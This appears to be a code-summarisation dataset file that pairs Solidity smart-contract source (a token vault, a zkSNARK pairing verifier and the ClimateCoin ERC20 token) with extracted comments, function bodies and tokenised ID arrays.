[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 364, 12, 11890, 14629, 23, 33, 20, 31, 14629, 23, 32, 361, 5058, 18, 2469, 31, 14629, 23, 27245, 288, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.21; /** * Changes by https://www.docademic.com/ */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Destroyable is Ownable{ /** * @notice Allows to destroy the contract and return the tokens to the owner. */ function destroy() public onlyOwner{ selfdestruct(owner); } } interface Token { function transfer(address _to, uint256 _value) external returns (bool); function balanceOf(address who) view external returns (uint256); } contract TokenVault is Ownable, Destroyable { using SafeMath for uint256; Token public token; /** * @dev Constructor. * @param _token The token address */ function TokenVault(address _token) public{ require(_token != address(0)); token = Token(_token); } /** * @dev Get the token balance of the contract. * @return _balance The token balance of this contract in wei */ function Balance() view public returns (uint256 _balance) { return token.balanceOf(address(this)); } /** * @dev Get the token balance of the contract. * @return _balance The token balance of this contract in ether */ function BalanceEth() view public returns (uint256 _balance) { return token.balanceOf(address(this)) / 1 ether; } /** * @dev Allows the owner to flush the tokens of the contract. */ function transferTokens(address _to, uint256 amount) public onlyOwner { token.transfer(_to, amount); } /** * @dev Allows the owner to flush the tokens of the contract. */ function flushTokens() public onlyOwner { token.transfer(owner, token.balanceOf(address(this))); } /** * @dev Allows the owner to destroy the contract and return the tokens to the owner. */ function destroy() public onlyOwner { token.transfer(owner, token.balanceOf(address(this))); selfdestruct(owner); } }
* @dev Get the token balance of the contract. @return _balance The token balance of this contract in wei/
function Balance() view public returns (uint256 _balance) { return token.balanceOf(address(this)); }
13,424,471
[ 1, 967, 326, 1147, 11013, 434, 326, 6835, 18, 327, 389, 12296, 1021, 1147, 11013, 434, 333, 6835, 316, 732, 77, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 30918, 1435, 1476, 1071, 1135, 261, 11890, 5034, 389, 12296, 13, 288, 203, 3639, 327, 1147, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-10-20 */ // // Copyright 2017 Christian Reitwiessner // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. pragma solidity 0.4.17; library Pairing { struct G1Point { uint X; uint Y; } // Encoding of field elements is: X[0] * z + X[1] struct G2Point { uint[2] X; uint[2] Y; } /// @return the generator of G1 function P1() pure internal returns (G1Point) { return G1Point(1, 2); } /// @return the generator of G2 function P2() pure internal returns (G2Point) { // Original code point return G2Point( [11559732032986387107991004021392285783925812861821192530917403151452391805634, 10857046999023057135944570762232829481370756359578518086990519993285655852781], [4082367875863433681332203403145435568316851327593401208105741076214120093531, 8495653923123431417604973247489272438418190587263600148770280649306958101930] ); /* // Changed by Jordi point return G2Point( [10857046999023057135944570762232829481370756359578518086990519993285655852781, 11559732032986387107991004021392285783925812861821192530917403151452391805634], [8495653923123431417604973247489272438418190587263600148770280649306958101930, 4082367875863433681332203403145435568316851327593401208105741076214120093531] ); */ } /// @return the negation of p, i.e. p.addition(p.negate()) should be zero. function negate(G1Point p) pure internal returns (G1Point) { // The prime q in the base field F_q for G1 uint q = 21888242871839275222246405745257275088696311157297823662689037894645226208583; if (p.X == 0 && p.Y == 0) return G1Point(0, 0); return G1Point(p.X, q - (p.Y % q)); } /// @return the sum of two points of G1 function addition(G1Point p1, G1Point p2) view internal returns (G1Point r) { uint[4] memory input; input[0] = p1.X; input[1] = p1.Y; input[2] = p2.X; input[3] = p2.Y; bool success; assembly { success := staticcall(sub(gas, 2000), 6, input, 0xc0, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success); } /// @return the product of a point on G1 and a scalar, i.e. /// p == p.scalar_mul(1) and p.addition(p) == p.scalar_mul(2) for all points p. function scalar_mul(G1Point p, uint s) view internal returns (G1Point r) { uint[3] memory input; input[0] = p.X; input[1] = p.Y; input[2] = s; bool success; assembly { success := staticcall(sub(gas, 2000), 7, input, 0x80, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require (success); } /// @return the result of computing the pairing check /// e(p1[0], p2[0]) * .... * e(p1[n], p2[n]) == 1 /// For example pairing([P1(), P1().negate()], [P2(), P2()]) should /// return true. function pairing(G1Point[] p1, G2Point[] p2) view internal returns (bool) { require(p1.length == p2.length); uint elements = p1.length; uint inputSize = elements * 6; uint[] memory input = new uint[](inputSize); for (uint i = 0; i < elements; i++) { input[i * 6 + 0] = p1[i].X; input[i * 6 + 1] = p1[i].Y; input[i * 6 + 2] = p2[i].X[0]; input[i * 6 + 3] = p2[i].X[1]; input[i * 6 + 4] = p2[i].Y[0]; input[i * 6 + 5] = p2[i].Y[1]; } uint[1] memory out; bool success; assembly { success := staticcall(sub(gas, 2000), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success); return out[0] != 0; } /// Convenience method for a pairing check for two pairs. function pairingProd2(G1Point a1, G2Point a2, G1Point b1, G2Point b2) view internal returns (bool) { G1Point[] memory p1 = new G1Point[](2); G2Point[] memory p2 = new G2Point[](2); p1[0] = a1; p1[1] = b1; p2[0] = a2; p2[1] = b2; return pairing(p1, p2); } /// Convenience method for a pairing check for three pairs. function pairingProd3( G1Point a1, G2Point a2, G1Point b1, G2Point b2, G1Point c1, G2Point c2 ) view internal returns (bool) { G1Point[] memory p1 = new G1Point[](3); G2Point[] memory p2 = new G2Point[](3); p1[0] = a1; p1[1] = b1; p1[2] = c1; p2[0] = a2; p2[1] = b2; p2[2] = c2; return pairing(p1, p2); } /// Convenience method for a pairing check for four pairs. function pairingProd4( G1Point a1, G2Point a2, G1Point b1, G2Point b2, G1Point c1, G2Point c2, G1Point d1, G2Point d2 ) view internal returns (bool) { G1Point[] memory p1 = new G1Point[](4); G2Point[] memory p2 = new G2Point[](4); p1[0] = a1; p1[1] = b1; p1[2] = c1; p1[3] = d1; p2[0] = a2; p2[1] = b2; p2[2] = c2; p2[3] = d2; return pairing(p1, p2); } } contract Verifier { using Pairing for *; struct VerifyingKey { Pairing.G1Point alfa1; Pairing.G2Point beta2; Pairing.G2Point gamma2; Pairing.G2Point delta2; Pairing.G1Point[] IC; } struct Proof { Pairing.G1Point A; Pairing.G2Point B; Pairing.G1Point C; } function verifyingKey() pure internal returns (VerifyingKey vk) { vk.alfa1 = Pairing.G1Point(13042714416704416103752233100858880973276004191055193830790388914968659762136,4202645424756949116663092611884341411678346306792605716520510006855446651903); vk.beta2 = Pairing.G2Point([11227169185166352652645369848289392221921632223909789492171761315942478786982,7628004330308641733630265729358617458368070012720355334087176960895420132638], [3292518835045132846789734025729109543304043511274141423793363359904233055493,14124075324837247595236734464156291626725258930543783205487521254991007966263]); vk.gamma2 = Pairing.G2Point([1370888600228250952233001804167561384028603344988569483060156038205014434752,1138844093930026517602457201882340159974842325510268155325700534256549967502], [9857122040149453087155630725058214973692946000202352666963774414406089680384,8327679409014069902367281054265991472284466645979105149782481406471227397606]); vk.delta2 = Pairing.G2Point([13188316339216551753541534836550617318166458760192768669750611936387554240868,16116072901785505080768204330283742611111597347068761754405972671049558702434], [10632443723761637337539040881693204127406519609478857645463068224391649153468,2813269835567372809955360743522198048316337822889930422296933127706476870945]); vk.IC = new Pairing.G1Point[](2); vk.IC[0] = Pairing.G1Point(19273405593073374149717360441261180629953772224330597548764276740875281039288,9214339914580717027232701509637711007530585947000985513609447054686473672327); vk.IC[1] = Pairing.G1Point(19064415239770804726186125241207551604913739712304197861850873186376299719603,14666338528768348158920009993233355233063279284930878550432755715112049329956); } function verify(uint[] input, Proof proof) view internal returns (uint) { VerifyingKey memory vk = verifyingKey(); require(input.length + 1 == vk.IC.length); // Compute the linear combination vk_x Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0); for (uint i = 0; i < input.length; i++) vk_x = Pairing.addition(vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i])); vk_x = Pairing.addition(vk_x, vk.IC[0]); if (!Pairing.pairingProd4( Pairing.negate(proof.A), proof.B, vk.alfa1, vk.beta2, vk_x, vk.gamma2, proof.C, vk.delta2 )) return 1; return 0; } function verifyProof( uint[2] a, uint[2][2] b, uint[2] c, uint[1] input ) view public returns (bool r) { Proof memory proof; proof.A = Pairing.G1Point(a[0], a[1]); proof.B = Pairing.G2Point([b[0][0], b[0][1]], [b[1][0], b[1][1]]); proof.C = Pairing.G1Point(c[0], c[1]); uint[] memory inputValues = new uint[](input.length); for(uint i = 0; i < input.length; i++){ inputValues[i] = input[i]; } if (verify(inputValues, proof) == 0) { return true; } else { return false; } } }
@return the result of computing the pairing check e(p1[0], p2[0]) * .... * e(p1[n], p2[n]) == 1 For example pairing([P1(), P1().negate()], [P2(), P2()]) should return true. Use "invalid" to make gas estimation work
function pairing(G1Point[] p1, G2Point[] p2) view internal returns (bool) { require(p1.length == p2.length); uint elements = p1.length; uint inputSize = elements * 6; uint[] memory input = new uint[](inputSize); for (uint i = 0; i < elements; i++) { input[i * 6 + 0] = p1[i].X; input[i * 6 + 1] = p1[i].Y; input[i * 6 + 2] = p2[i].X[0]; input[i * 6 + 3] = p2[i].X[1]; input[i * 6 + 4] = p2[i].Y[0]; input[i * 6 + 5] = p2[i].Y[1]; } uint[1] memory out; bool success; assembly { success := staticcall(sub(gas, 2000), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20) } require(success); return out[0] != 0; }
6,694,600
[ 1, 2463, 326, 563, 434, 20303, 326, 3082, 310, 866, 425, 12, 84, 21, 63, 20, 6487, 293, 22, 63, 20, 5717, 282, 1372, 18, 225, 425, 12, 84, 21, 63, 82, 6487, 293, 22, 63, 82, 5717, 422, 404, 2457, 3454, 3082, 310, 3816, 52, 21, 9334, 453, 21, 7675, 82, 4784, 1435, 6487, 306, 52, 22, 9334, 453, 22, 1435, 5717, 1410, 327, 638, 18, 2672, 315, 5387, 6, 358, 1221, 16189, 29284, 1440, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3082, 310, 12, 43, 21, 2148, 8526, 293, 21, 16, 611, 22, 2148, 8526, 293, 22, 13, 1476, 2713, 1135, 261, 6430, 13, 288, 203, 3639, 2583, 12, 84, 21, 18, 2469, 422, 293, 22, 18, 2469, 1769, 203, 3639, 2254, 2186, 273, 293, 21, 18, 2469, 31, 203, 3639, 2254, 810, 1225, 273, 2186, 380, 1666, 31, 203, 3639, 2254, 8526, 3778, 810, 273, 394, 2254, 8526, 12, 2630, 1225, 1769, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 2186, 31, 277, 27245, 203, 3639, 288, 203, 5411, 810, 63, 77, 380, 1666, 397, 374, 65, 273, 293, 21, 63, 77, 8009, 60, 31, 203, 5411, 810, 63, 77, 380, 1666, 397, 404, 65, 273, 293, 21, 63, 77, 8009, 61, 31, 203, 5411, 810, 63, 77, 380, 1666, 397, 576, 65, 273, 293, 22, 63, 77, 8009, 60, 63, 20, 15533, 203, 5411, 810, 63, 77, 380, 1666, 397, 890, 65, 273, 293, 22, 63, 77, 8009, 60, 63, 21, 15533, 203, 5411, 810, 63, 77, 380, 1666, 397, 1059, 65, 273, 293, 22, 63, 77, 8009, 61, 63, 20, 15533, 203, 5411, 810, 63, 77, 380, 1666, 397, 1381, 65, 273, 293, 22, 63, 77, 8009, 61, 63, 21, 15533, 203, 3639, 289, 203, 3639, 2254, 63, 21, 65, 3778, 596, 31, 203, 3639, 1426, 2216, 31, 203, 3639, 19931, 288, 203, 5411, 2216, 519, 760, 1991, 12, 1717, 12, 31604, 16, 16291, 3631, 1725, 16, 527, 12, 2630, 16, 374, 92, 3462, 3631, 14064, 12, 2 ]
pragma solidity ^0.4.8; /** * Climatecoin extended ERC20 token contract created on February the 17th, 2018 by Rincker Productions in the Netherlands * * For terms and conditions visit https://climatecoin.eu */ contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { if (msg.sender != owner) revert(); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner == 0x0) revert(); owner = newOwner; } } /** * Overflow aware uint math functions. */ contract SafeMath { //internals function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } /*function assert(bool assertion) internal { if (!assertion) revert(); }*/ } contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) public returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { //if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_from] -= _value; balances[_to] += _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } /* ClimateCoin Contract */ contract ClimateCoinToken is owned, SafeMath, StandardToken { string public code = "CLI"; // Set the name for display purposes string public name = "ClimateCoin"; // Set the name for display purposes string public symbol = "К"; // Set the symbol for display purposes U+041A HTML-code: &#1050; address public ClimateCoinAddress = this; // Address of the ClimateCoin token uint8 public decimals = 2; // Amount of decimals for display purposes uint256 public totalSupply = 10000000; // Set total supply of ClimateCoins (eight trillion) uint256 public buyPriceEth = 1 finney; // Buy price for ClimateCoins uint256 public sellPriceEth = 1 finney; // Sell price for ClimateCoins uint256 public gasForCLI = 5 finney; // Eth from contract against CLI to pay tx (10 times sellPriceEth) uint256 public CLIForGas = 10; // CLI to contract against eth to pay tx uint256 public gasReserve = 0.2 ether; // Eth amount that remains in the contract for gas and can't be sold uint256 public minBalanceForAccounts = 10 finney; // Minimal eth balance of sender and recipient bool public directTradeAllowed = false; // Halt trading CLI by sending to the contract directly /* include mintable */ event Mint(address indexed to, uint value); event MintFinished(); bool public mintingFinished = false; modifier canMint() { if(mintingFinished) revert(); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint _amount) public onlyOwner canMint returns (bool) { totalSupply = safeAdd(totalSupply,_amount); balances[_to] = safeAdd(balances[_to],_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } /* end mintable */ /* Initializes contract with initial supply tokens to the creator of the contract */ function ClimateCoinToken() public { balances[msg.sender] = totalSupply; // Give the creator all tokens } /* Constructor parameters */ function setEtherPrices(uint256 newBuyPriceEth, uint256 newSellPriceEth) onlyOwner public { buyPriceEth = newBuyPriceEth; // Set prices to buy and sell CLI sellPriceEth = newSellPriceEth; } function setGasForCLI(uint newGasAmountInWei) onlyOwner public { gasForCLI = newGasAmountInWei; } function setCLIForGas(uint newCLIAmount) onlyOwner public { CLIForGas = newCLIAmount; } function setGasReserve(uint newGasReserveInWei) onlyOwner public { gasReserve = newGasReserveInWei; } function setMinBalance(uint minimumBalanceInWei) onlyOwner public { minBalanceForAccounts = minimumBalanceInWei; } /* Halts or unhalts direct trades without the sell/buy functions below */ function haltDirectTrade() onlyOwner public { directTradeAllowed = false; } function unhaltDirectTrade() onlyOwner public { directTradeAllowed = true; } /* Transfer function extended by check of eth balances and pay transaction costs with CLI if not enough eth */ function transfer(address _to, uint256 _value) public returns (bool success) { if (_value < CLIForGas) revert(); // Prevents drain and spam if (msg.sender != owner && _to == ClimateCoinAddress && directTradeAllowed) { sellClimateCoinsAgainstEther(_value); // Trade ClimateCoins against eth by sending to the token contract return true; } if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { // Check if sender has enough and for overflows balances[msg.sender] = safeSub(balances[msg.sender], _value); // Subtract CLI from the sender if (msg.sender.balance >= minBalanceForAccounts && _to.balance >= minBalanceForAccounts) { // Check if sender can pay gas and if recipient could balances[_to] = safeAdd(balances[_to], _value); // Add the same amount of CLI to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place return true; } else { balances[this] = safeAdd(balances[this], CLIForGas); // Pay CLIForGas to the contract balances[_to] = safeAdd(balances[_to], safeSub(_value, CLIForGas)); // Recipient balance -CLIForGas Transfer(msg.sender, _to, safeSub(_value, CLIForGas)); // Notify anyone listening that this transfer took place if(msg.sender.balance < minBalanceForAccounts) { if(!msg.sender.send(gasForCLI)) revert(); // Send eth to sender } if(_to.balance < minBalanceForAccounts) { if(!_to.send(gasForCLI)) revert(); // Send eth to recipient } } } else { revert(); } } /* User buys ClimateCoins and pays in Ether */ function buyClimateCoinsAgainstEther() public payable returns (uint amount) { if (buyPriceEth == 0 || msg.value < buyPriceEth) revert(); // Avoid dividing 0, sending small amounts and spam amount = msg.value / buyPriceEth; // Calculate the amount of ClimateCoins if (balances[this] < amount) revert(); // Check if it has enough to sell balances[msg.sender] = safeAdd(balances[msg.sender], amount); // Add the amount to buyer's balance balances[this] = safeSub(balances[this], amount); // Subtract amount from ClimateCoin balance Transfer(this, msg.sender, amount); // Execute an event reflecting the change return amount; } /* User sells ClimateCoins and gets Ether */ function sellClimateCoinsAgainstEther(uint256 amount) public returns (uint revenue) { if (sellPriceEth == 0 || amount < CLIForGas) revert(); // Avoid selling and spam if (balances[msg.sender] < amount) revert(); // Check if the sender has enough to sell revenue = safeMul(amount, sellPriceEth); // Revenue = eth that will be send to the user if (safeSub(this.balance, revenue) < gasReserve) revert(); // Keep min amount of eth in contract to provide gas for transactions if (!msg.sender.send(revenue)) { // Send ether to the seller. It's important revert(); // To do this last to avoid recursion attacks } else { balances[this] = safeAdd(balances[this], amount); // Add the amount to ClimateCoin balance balances[msg.sender] = safeSub(balances[msg.sender], amount); // Subtract the amount from seller's balance Transfer(this, msg.sender, revenue); // Execute an event reflecting on the change return revenue; // End function and returns } } /* refund to owner */ function refundToOwner (uint256 amountOfEth, uint256 cli) public onlyOwner { uint256 eth = safeMul(amountOfEth, 1 ether); if (!msg.sender.send(eth)) { // Send ether to the owner. It's important revert(); // To do this last to avoid recursion attacks } else { Transfer(this, msg.sender, eth); // Execute an event reflecting on the change } if (balances[this] < cli) revert(); // Check if it has enough to sell balances[msg.sender] = safeAdd(balances[msg.sender], cli); // Add the amount to buyer's balance balances[this] = safeSub(balances[this], cli); // Subtract amount from seller's balance Transfer(this, msg.sender, cli); // Execute an event reflecting the change } /* This unnamed function is called whenever someone tries to send ether to it and possibly sells ClimateCoins */ function() public payable { if (msg.sender != owner) { if (!directTradeAllowed) revert(); buyClimateCoinsAgainstEther(); // Allow direct trades by sending eth to the contract } } }
Minimal eth balance of sender and recipient
uint256 public minBalanceForAccounts = 10 finney;
14,098,409
